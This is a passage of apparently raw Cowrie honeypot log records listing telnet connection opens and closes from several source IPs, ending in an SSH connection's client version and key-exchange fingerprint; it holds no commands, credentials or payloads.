{"eventid":"cowrie.session.closed","duration":31.565508604049683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:40.667203Z","src_ip":"64.235.40.29","session":"3d2cbd007d1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.179277896881104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:41.040115Z","src_ip":"64.235.40.29","session":"e516f079e057","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":56476,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8da6272f5a3","protocol":"telnet","message":"New connection: 135.148.33.217:56476 (10.17.0.5:23) [session: a8da6272f5a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:41.129765Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":56540,"dst_ip":"10.17.0.5","dst_port":23,"session":"3938d84a453b","protocol":"telnet","message":"New connection: 135.148.33.217:56540 (10.17.0.5:23) [session: 3938d84a453b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:41.171285Z"}
{"eventid":"cowrie.session.closed","duration":30.713141918182373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:41.240990Z","src_ip":"160.250.4.73","session":"a6bc135eaf1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":39268,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c94eb8001cd","protocol":"telnet","message":"New connection: 195.154.29.177:39268 (10.17.0.5:23) [session: 3c94eb8001cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:41.539119Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":35260,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f3136627b2c","protocol":"telnet","message":"New connection: 99.198.111.122:35260 (10.17.0.5:23) [session: 3f3136627b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:41.664237Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":48246,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c2601b8fdf2","protocol":"telnet","message":"New connection: 104.207.153.205:48246 (10.17.0.5:23) [session: 5c2601b8fdf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:41.717286Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":43600,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8f4c5552c9b","protocol":"telnet","message":"New connection: 64.235.40.29:43600 (10.17.0.5:23) [session: b8f4c5552c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:41.868975Z"}
{"eventid":"cowrie.session.closed","duration":31.680748224258423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:41.912047Z","src_ip":"64.235.40.29","session":"d3723dbd6eee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":36898,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bfdb0a2a988","protocol":"telnet","message":"New connection: 99.198.111.122:36898 (10.17.0.5:23) [session: 1bfdb0a2a988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:42.443006Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":42568,"dst_ip":"10.17.0.5","dst_port":23,"session":"891813af435b","protocol":"telnet","message":"New connection: 160.250.4.73:42568 (10.17.0.5:23) [session: 891813af435b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:42.736959Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":37714,"dst_ip":"10.17.0.5","dst_port":23,"session":"24547f6a51b0","protocol":"telnet","message":"New connection: 99.198.111.122:37714 (10.17.0.5:23) [session: 24547f6a51b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:42.824874Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":49880,"dst_ip":"10.17.0.5","dst_port":23,"session":"71b6707dff3b","protocol":"telnet","message":"New connection: 216.22.21.200:49880 (10.17.0.5:23) [session: 71b6707dff3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:42.897010Z"}
{"eventid":"cowrie.session.closed","duration":31.160642623901367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:43.130257Z","src_ip":"160.250.4.73","session":"dfb859733fd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":43614,"dst_ip":"10.17.0.5","dst_port":23,"session":"5de6c855cc3d","protocol":"telnet","message":"New connection: 64.235.40.29:43614 (10.17.0.5:23) [session: 5de6c855cc3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:43.147508Z"}
{"eventid":"cowrie.session.closed","duration":30.562969207763672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:43.219550Z","src_ip":"160.250.4.73","session":"c365c5813808","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":43632,"dst_ip":"10.17.0.5","dst_port":23,"session":"da4bf86e9cf5","protocol":"telnet","message":"New connection: 64.235.40.29:43632 (10.17.0.5:23) [session: da4bf86e9cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:43.324532Z"}
{"eventid":"cowrie.session.closed","duration":30.762879848480225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:43.337374Z","src_ip":"64.235.40.29","session":"b390ad927c4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":51688,"dst_ip":"10.17.0.5","dst_port":23,"session":"60bd64150a16","protocol":"telnet","message":"New connection: 216.22.21.200:51688 (10.17.0.5:23) [session: 60bd64150a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:43.471828Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":51970,"dst_ip":"10.17.0.5","dst_port":23,"session":"74a9f26f52cf","protocol":"telnet","message":"New connection: 216.22.21.200:51970 (10.17.0.5:23) [session: 74a9f26f52cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:43.634444Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":59508,"dst_ip":"10.17.0.5","dst_port":23,"session":"579b00f73dd4","protocol":"telnet","message":"New connection: 135.148.33.217:59508 (10.17.0.5:23) [session: 579b00f73dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:43.852740Z"}
{"eventid":"cowrie.session.closed","duration":31.489333868026733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:43.919546Z","src_ip":"64.235.40.29","session":"522ed6570d93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":59668,"dst_ip":"10.17.0.5","dst_port":23,"session":"317263e9621d","protocol":"telnet","message":"New connection: 135.148.33.217:59668 (10.17.0.5:23) [session: 317263e9621d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:43.959457Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":49200,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4ca256f11cf","protocol":"telnet","message":"New connection: 195.154.29.177:49200 (10.17.0.5:23) [session: d4ca256f11cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:44.024594Z"}
{"eventid":"cowrie.session.closed","duration":30.785027980804443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:44.046094Z","src_ip":"64.235.40.29","session":"678d5c595101","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.167008638381958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:44.072410Z","src_ip":"64.235.40.29","session":"8542ecf18807","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32363748550415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:44.124037Z","src_ip":"64.235.40.29","session":"99c72d5a33d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":40332,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3851861c33c","protocol":"telnet","message":"New connection: 99.198.111.122:40332 (10.17.0.5:23) [session: d3851861c33c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:44.230926Z"}
{"eventid":"cowrie.session.closed","duration":30.699350595474243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:44.250686Z","src_ip":"64.235.40.29","session":"771ba835d056","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36810874938965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:44.297273Z","src_ip":"64.235.40.29","session":"4d77ad5a7ce6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.276122093200684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:44.464519Z","src_ip":"104.207.153.205","session":"451217e93d55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":60182,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b1461f1fdcb","protocol":"telnet","message":"New connection: 135.148.33.217:60182 (10.17.0.5:23) [session: 9b1461f1fdcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:44.469418Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":43628,"dst_ip":"10.17.0.5","dst_port":23,"session":"761110b1611c","protocol":"telnet","message":"New connection: 64.235.40.29:43628 (10.17.0.5:23) [session: 761110b1611c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:44.736956Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":52694,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbc23e14270b","protocol":"telnet","message":"New connection: 195.154.29.177:52694 (10.17.0.5:23) [session: fbc23e14270b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:44.932297Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":53622,"dst_ip":"10.17.0.5","dst_port":23,"session":"b52dc3cbc467","protocol":"telnet","message":"New connection: 216.22.21.200:53622 (10.17.0.5:23) [session: b52dc3cbc467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:44.987160Z"}
{"eventid":"cowrie.session.closed","duration":30.86054825782776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:45.035817Z","src_ip":"64.235.40.29","session":"bc4b2831842e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39602,"dst_ip":"10.17.0.5","dst_port":23,"session":"262b2672bdc4","protocol":"telnet","message":"New connection: 64.235.40.29:39602 (10.17.0.5:23) [session: 262b2672bdc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:45.167950Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":48258,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1634bc884fd","protocol":"telnet","message":"New connection: 104.207.153.205:48258 (10.17.0.5:23) [session: f1634bc884fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:45.344948Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":43194,"dst_ip":"10.17.0.5","dst_port":23,"session":"01611c57952e","protocol":"telnet","message":"New connection: 99.198.111.122:43194 (10.17.0.5:23) [session: 01611c57952e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:45.492438Z"}
{"eventid":"cowrie.session.closed","duration":31.365655183792114,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:45.603855Z","src_ip":"64.235.40.29","session":"0aa287ef90f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39614,"dst_ip":"10.17.0.5","dst_port":23,"session":"32a258c79573","protocol":"telnet","message":"New connection: 64.235.40.29:39614 (10.17.0.5:23) [session: 32a258c79573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:45.745844Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":57544,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f0a3f96ecbc","protocol":"telnet","message":"New connection: 195.154.29.177:57544 (10.17.0.5:23) [session: 2f0a3f96ecbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:45.980846Z"}
{"eventid":"cowrie.session.closed","duration":30.873260974884033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:46.008581Z","src_ip":"135.148.33.217","session":"4f8b419f8ffe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.579219102859497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:46.173013Z","src_ip":"64.235.40.29","session":"5a63ff62df6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.987054586410522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:46.180957Z","src_ip":"104.207.153.205","session":"9c54654b2cea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.927538633346558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:46.324377Z","src_ip":"64.235.40.29","session":"d9d5735690f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":42572,"dst_ip":"10.17.0.5","dst_port":23,"session":"b296afab5933","protocol":"telnet","message":"New connection: 160.250.4.73:42572 (10.17.0.5:23) [session: b296afab5933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:46.679076Z"}
{"eventid":"cowrie.session.closed","duration":31.68648624420166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:46.873443Z","src_ip":"99.198.111.122","session":"506f1ac0a10f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":40114,"dst_ip":"10.17.0.5","dst_port":23,"session":"68ed168bf73c","protocol":"telnet","message":"New connection: 104.207.153.205:40114 (10.17.0.5:23) [session: 68ed168bf73c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:46.921320Z"}
{"eventid":"cowrie.session.closed","duration":31.69608163833618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:47.802468Z","src_ip":"160.250.4.73","session":"4c86429dad9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.72038745880127,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:47.986298Z","src_ip":"64.235.40.29","session":"a0652bec9580","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.229252099990845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:48.046744Z","src_ip":"64.235.40.29","session":"62cc0bc194ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39622,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4dfc29550f3","protocol":"telnet","message":"New connection: 64.235.40.29:39622 (10.17.0.5:23) [session: f4dfc29550f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:48.065187Z"}
{"eventid":"cowrie.session.closed","duration":30.40146493911743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:48.146751Z","src_ip":"160.250.4.73","session":"6213b6153c7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":57420,"dst_ip":"10.17.0.5","dst_port":23,"session":"46974acd5fe6","protocol":"telnet","message":"New connection: 216.22.21.200:57420 (10.17.0.5:23) [session: 46974acd5fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:48.246091Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39644,"dst_ip":"10.17.0.5","dst_port":23,"session":"69c8172e2978","protocol":"telnet","message":"New connection: 64.235.40.29:39644 (10.17.0.5:23) [session: 69c8172e2978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:48.509607Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":57938,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5f379aa8a74","protocol":"telnet","message":"New connection: 216.22.21.200:57938 (10.17.0.5:23) [session: d5f379aa8a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:48.559736Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":51330,"dst_ip":"10.17.0.5","dst_port":23,"session":"e73535d50ec0","protocol":"telnet","message":"New connection: 99.198.111.122:51330 (10.17.0.5:23) [session: e73535d50ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:49.124285Z"}
{"eventid":"cowrie.session.closed","duration":30.68803596496582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:49.196805Z","src_ip":"64.235.40.29","session":"38c82962695a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":58744,"dst_ip":"10.17.0.5","dst_port":23,"session":"d22604eca9c3","protocol":"telnet","message":"New connection: 216.22.21.200:58744 (10.17.0.5:23) [session: d22604eca9c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:49.217979Z"}
{"eventid":"cowrie.session.closed","duration":30.56681799888611,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:49.390563Z","src_ip":"64.235.40.29","session":"9ff9b3d9bc0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.289347648620605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:49.417619Z","src_ip":"160.250.4.73","session":"9f3cd531d13e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":55798,"dst_ip":"10.17.0.5","dst_port":23,"session":"edb7c98a3059","protocol":"telnet","message":"New connection: 160.250.4.73:55798 (10.17.0.5:23) [session: edb7c98a3059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:49.803002Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":38062,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e3b3dc1d4d6","protocol":"telnet","message":"New connection: 135.148.33.217:38062 (10.17.0.5:23) [session: 5e3b3dc1d4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:49.881910Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39652,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdeb09cd48b5","protocol":"telnet","message":"New connection: 64.235.40.29:39652 (10.17.0.5:23) [session: bdeb09cd48b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:50.187205Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":38430,"dst_ip":"10.17.0.5","dst_port":23,"session":"57b19e6ddbd8","protocol":"telnet","message":"New connection: 135.148.33.217:38430 (10.17.0.5:23) [session: 57b19e6ddbd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:50.194812Z"}
{"eventid":"cowrie.session.closed","duration":37.94788956642151,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:50.267203Z","src_ip":"64.235.40.29","session":"116f8e3db082","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.611497402191162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:50.275088Z","src_ip":"104.207.153.205","session":"46765d4ab53f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.466632604599,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:50.688560Z","src_ip":"64.235.40.29","session":"7f320cb6c931","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.81603193283081,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:50.873939Z","src_ip":"195.154.29.177","session":"95b767164856","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.857925415039062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:51.048020Z","src_ip":"64.235.40.29","session":"e6799898bf1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.887970209121704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:51.061975Z","src_ip":"64.235.40.29","session":"40b325c7945a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06779956817627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:51.174600Z","src_ip":"64.235.40.29","session":"c13b377a42b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":34498,"dst_ip":"10.17.0.5","dst_port":22,"session":"086852bebda9","protocol":"ssh","message":"New connection: 186.80.18.158:34498 (10.17.0.5:22) [session: 086852bebda9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:51.598564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:51.603480Z","src_ip":"186.80.18.158","session":"086852bebda9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 